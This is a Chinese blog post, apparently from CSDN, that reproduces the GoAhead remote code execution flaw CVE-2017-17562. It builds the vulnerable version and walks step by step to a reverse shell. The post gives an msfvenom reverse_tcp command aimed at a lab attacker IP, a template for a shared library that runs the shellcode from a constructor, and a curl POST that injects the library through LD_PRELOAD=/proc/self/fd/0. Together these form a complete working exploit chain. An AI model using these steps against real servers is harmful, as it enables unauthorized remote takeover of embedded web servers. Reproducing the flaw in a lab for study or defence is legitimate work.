CVE-2017-17562 GoAhea远程代码执行反弹shell姿势

一丶漏洞影响

GoAhea在shodan在搜索出的数量:

GoAhea在shodan上的数量

GoAhea在全球的分布情况:

这里写图片描述

二丶漏洞复现

原输出Hello: World!文章:https://www.elttam.com.au/blog/goahead/
POC:https://www.exploit-db.com/exploits/43360/
攻击机 windows10 IP:192.168.200.1 
靶机 kali IP:192.168.200.128

搭建复现环境:

1丶下载goahead

git clone https://github.com/embedthis/goahead.git

2丶编译存在漏洞版本的goahead

cd goahead/
git checkout tags/v3.6.4 -q 
make > /dev/null

3丶运行goahead服务

cd test
gcc ./cgitest.c -o cgi-bin/cgitest
../build/linux-x64-default/bin/goahead

4丶生成payload

用MSF生成反弹shell的shellcode
msfvenom -p linux/x64/shell/reverse_tcp lhost=192.168.200.1 lport=4443 -f c
编译成反弹sehll的动态链接库, pyload模板:
#include <unistd.h>
#include <stdlib.h>

static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
   //复制msf生成的shellcode到这里
   //加载数组名为buf shellcode并执行
   ((void(*)(void))&buf)();
}
gcc -shared -fPIC ./payload.c -o payload.so -z execstack

5丶带着反弹sehll的动态链接库访问kali上的goahead

curl -X POST --data-binary @payload.so http://192.168.200.128/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head

复现过程gif:

这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值